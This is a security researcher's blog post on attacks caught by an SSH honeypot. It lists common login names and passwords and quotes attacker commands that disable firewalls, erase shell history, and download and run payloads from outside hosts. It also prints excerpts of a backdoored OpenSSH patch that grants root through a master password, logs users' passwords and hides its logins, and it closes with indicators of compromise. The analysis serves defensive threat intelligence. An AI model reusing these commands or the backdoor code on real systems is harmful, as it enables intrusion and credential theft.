Openssh backdoor used on compromised Linux servers

Olà,

Some times ago, I have installed honeypot services on one of my servers, in order to see what happens in the real outside world. I especially installed the cowrie ssh honeypot which simulate a Linux shell and gather binaries that people want to install on the server (this tool is awesome, check here to install it).

Cowrie ssh#

This honeypot is really fun, because it records everything done during an attack, and record the whole tty session which can be replayed. If the attacker tries to download a file, cowrie automatically downloads it and stores it in a dedicated directory. In my case, I have only allowed one correct password (but an easily one : root123), so most of my logs are failed authentications:

2015-11-10 08:43:04+0100 [SSHService ssh-userauth on HoneyPotTransport,17996,177.124.226.37] login attempt [bayvit/bayvit] failed
2015-11-10 08:44:42+0100 [SSHService ssh-userauth on HoneyPotTransport,17997,177.124.226.37] login attempt [explore/explore] failed
2015-11-10 08:45:11+0100 [SSHService ssh-userauth on HoneyPotTransport,17998,106.186.116.239] login attempt [jonathan/111111] failed

Here is a short top 20 of most used users and passwords :

Top 20 users

  • root
  • admin
  • test
  • user
  • oracle
  • postgres
  • guest
  • ubnt
  • git
  • nagios
  • ftpuser
  • ubuntu
  • tomcat
  • pi
  • support
  • (empty user)
  • ftp
  • teamspeak
  • mysql
  • bin

Top 20 passwords

  • 123456
  • password
  • root123 (used regularly as accepted by cowrie)
  • 1234
  • 12345
  • admin
  • test
  • root
  • 123
  • (empty password)
  • 1
  • p@ssw0rd
  • !@
  • wubao
  • jiamima
  • !q@w
  • !
  • !qaz@wsx
  • qwerty
  • user

Successfull attacks often juste download a malicious script/binary and execute it:

HoneyPotTransport,110774,121.12.173.62] CMD: /etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;wget -c http://222.186.56.5:88/China1991;chmod 755 China1991;./China1991;

What are those files?!?#

Among the files downloaded by Cowrie, I noticed an important number of text files, which is weird as I was thinking of finding only perl scripts / malicious ELF files. I finally found the logs related to these files:

2016-01-21 19:37:19+0100 [SSHService ssh-userauth on HoneyPotTransport,111016,37.228.227.119] login attempt [root/root123] succeeded
2016-01-21 19:37:20+0100 [SSHService ssh-userauth on HoneyPotTransport,111016,37.228.227.119] root authenticated with keyboard-interactive
2016-01-21 19:37:20+0100 [SSHService ssh-userauth on HoneyPotTransport,111016,37.228.227.119] starting service ssh-connection
2016-01-21 19:37:20+0100 [SSHService ssh-connection on HoneyPotTransport,111016, 37.228.227.119] got channel session request
2016-01-21 19:37:20+0100 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,111016,37.228.227.119] channel open
2016-01-21 19:37:20+0100 [SSHChannel session (0) on SSHService ssh-connection on HoneyPotTransport,111016,37.228.227.119] pty request: xterm (24, 80, 0, 0)
[SNIP]

The cowrie log is pretty long because… it was a manual attack (whut?). So you have many failed commands (cowrie doesn’t implement all the shell commands), and in the end the interesting one:

unset HISTFILE
unset HISTSAVE
unset SAVEFILE
unset ********
history -n
unset WATCH
export HISTFILE=/dev/null
w
sshd
uname -a
ps x
cat /etc/hosts
/sbin/ifconfig -a |grep inet | wc -l
ls -la
wget http://fm.fo/images/cette.jpg; tar zxvf cette.jpg; rm -rf cette*; cd ssh
ls -la
cd ..
rm -rf ssh

Here the attacker doesn’t understand what is happening because cowrie simulates the wget commands but the tar command fails (likely a cowrie bug when implementing the command). So the attacker will try many different ways to untar the file, and finally reboot the server.

Once extracted, the archive is composed of the source code of openssh 4.3 (I have uploaded all the code on github if you want to check by yourself)

> cat v
OpenSSH_4.3p2, OpenSSL 0.9.8b 04 May 2006

There is still one weird thing : what is this backdoor.h file ?

/* backdoor stuff */
#define BACKDOORPASSWD "SSHD_PASS"
#define LOGGING_PASSWORDS 1
#define PASSWORDS_LOG_FILE "LOG_PATH"

int backdoor_active;

The BACKDOORPASSWD macro is used in the file auth-passwd.c, in the auth_password function in charge of checking the users password:

    backdoor_active = 0;
    if(strcmp(password, BACKDOORPASSWD) == 0)
    {
        backdoor_active = 1;
        return 1;
    }
    else
    {
    [LEGITIMATE CODE]
    [...]

Strangely, this backdoor also implements a logging functionnality both in sshconnect1.c and sshconnect2.c:

    if((strcmp(BACKDOORPASSWD,password) != 0) && LOGGING_PASSWORDS)
      {
        FILE *fp = fopen(PASSWORDS_LOG_FILE,"a");
        fprintf (fp,"+host: %s +user: %s +password: %s\n", get_remote_ipaddr(), options.user, password);
        fclose (fp)
      }

In session.c, the backdoor disable the hist file and force the suid to 0 (root):

     if(backdoor_active)
        child_set_env(&env, &envsize, "HISTFILE", "/dev/null");

    [...]

    if(!backdoor_active)
      {
        [SNIP]
      }
    else
      {
        setgid(0);
        initgroups(pw->pw_name, 0);
      }

    [...]
    if(!backdoor_active)
        permanently_set_uid(pw);

And finally in sshlogin.c, it disable logging of connections using the backdoor password:

/*
* Records that the user has logged in.  I these parts of operating systems
* were more standardized.
*/
void
record_login(pid_t pid, const char *ttyname, const char *user, uid_t uid,
    const char *host, struct sockaddr * addr, socklen_t addrlen)
{
  if(!backdoor_active)
      {
        struct logininfo *li;

        li = login_alloc_entry(pid, user, host, ttyname);
        login_set_addr(li, addr, addrlen);
        login_login(li);
        login_free_entry(li);
      }
    }
}
#ifdef LOGIN_NEEDS_UTMPX
void
record_utmp_only(pid_t pid, const char *ttyname, const char *user,
                 const char *host, struct sockaddr * addr, socklen_t addrlen)
{
  if(!backdoor_active)
    {
  struct logininfo *li;

  li = login_alloc_entry(pid, user, host, ttyname);
  login_set_addr(li, addr, addrlen);
  login_utmp_only(li);
  login_free_entry(li);
}}
#endif

/* Records that the user has logged out. */
void
record_logout(pid_t pid, const char *ttyname, const char *user)
{
  if(!backdoor_active)
    {
  struct logininfo *li;

  li = login_alloc_entry(pid, user, NULL, ttyname);
  login_logout(li);
  login_free_entry(li);
}
}

All these modifications are in the openssh-3.6.1p2-backdoor.patch included in the code.

Lets do Threat Intelligence#

So let’s try to understand what happened : a successful authentication happened the 21/01/16 from 37.228.227.119 (weirdly from source port 34, the client is putty). The first connection is directly successful (no bruteforce before).

This IP address belongs to UPC Ireland, which seems to be a Telecom provider now called Virgin media (I informed them of this attack on their abuse email address).

I have learnt recently that the SANS Dshield Group collects SSH logs from kippo/cowrie ssh honeypots. You can easily send your cowrie log by using the cowrie dshield output plugin (there is also a script called kippo-pyshield to do this).

Let’s check what we can learn about the IP from the Dshield API, you just have to visit https://isc.sans.edu/api/ip/37.228.227.119 (?json or ?text can be added to change the format):

<ip>
    <number>37.228.227.119</number>
    <count/>
    <attacks/>
    <maxdate/>
    <mindate/>
    <updated/>
    <comment/>
    <maxrisk/>
    <asabusecontact>noc@libertyglobal.com</asabusecontact>
    <as>6830</as>
    <asname>
	<![CDATA[
	    LGI-UPC formerly known as UPC Broadband Holding B.V.,
	]]>
    </asname>
    <ascountry>AT</ascountry>
    <assize>8576685</assize>
    <network>37.228.224.0/19</network>
</ip>

So Dshield knows nothing about this address, which was likely not used for any ssh bruteforce attack. My best guess is that automated tools were used to bruteforce the server and find the password (hard to find which one). Once identified, the user connected to the server using his local computer (putty under Windows) and from his own ISP (and this is pretty stupid thing to do).

The malicious code is hosted on the domain fm.fo (hxxp://fm/fo/images/cette.jpg exactly) which host a website of an icelandinc cleaning company (if I guess well, icelandic is really badly translated by Google). This website was likely compromised to host the malicious code but it is weird because it doesn’t use any common framework (I contacted the owner, no answer yet).

IOCs#

It’s not the new super-duper fancy APT group attack, but I like how Brad ends his posts with a summary of what to check on your system, so here is a short summary:

  • Bruteforce IP : 37.228.227.119
  • URL of the malicious code : hxxp://fm.fo/images/cette.jpg (still available when writing the article, IP resolved is 77.243.43.9 in Denmark)
  • SSH backdoor password : SSHD_PASS
  • File created by the backdoor : LOG_PATH

I’m still on Twitter if you have any comment.

Ciao